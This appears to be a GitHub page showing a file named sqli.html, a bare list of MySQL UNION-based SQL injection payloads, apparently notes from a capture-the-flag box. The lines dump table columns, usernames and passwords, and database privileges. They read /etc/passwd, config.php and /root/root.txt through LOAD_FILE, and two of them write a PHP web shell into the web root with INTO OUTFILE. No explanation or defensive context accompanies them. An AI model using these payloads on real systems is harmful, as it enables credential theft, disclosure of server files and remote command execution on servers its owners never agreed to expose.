-
Notifications
You must be signed in to change notification settings - Fork 0
/
sqli.html
25 lines (11 loc) · 900 Bytes
/
sqli.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
' UNION SELECT 1,column_name,3,4 from information_schema.columns where table_name='users'--
' UNION SELECT 1,username,password,4 from users--
' UNION SELECT 1,super_priv,user,4 from mysql.user--
' UNION SELECT 1,grantee,privilege_type,4 from information_schema.user_privileges--
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4--
' UNION SELECT 1, TO_BASE64(LOAD_FILE('/var/www/html/search.php')), 3, 4--
' UNION SELECT 1, TO_BASE64(LOAD_FILE('/var/www/html/config.php')), 3, 4--
' union select 1, variable_name, variable_value,3 from information_schema.global_variables where variable_name='secure_file_priv'--
' union select 1, '<?php system($_GET[0]); ?>', 3,4 into outfile '/var/www/html/shell.php'--
' UNION SELECT 1,'<?php system($_GET[0]); ?>',4,5,6 into outfile '/var/www/html/dashboard/shell.php'--
' UNION SELECT 1, TO_BASE64(LOAD_FILE('/root/root.txt')), 3, 4,5--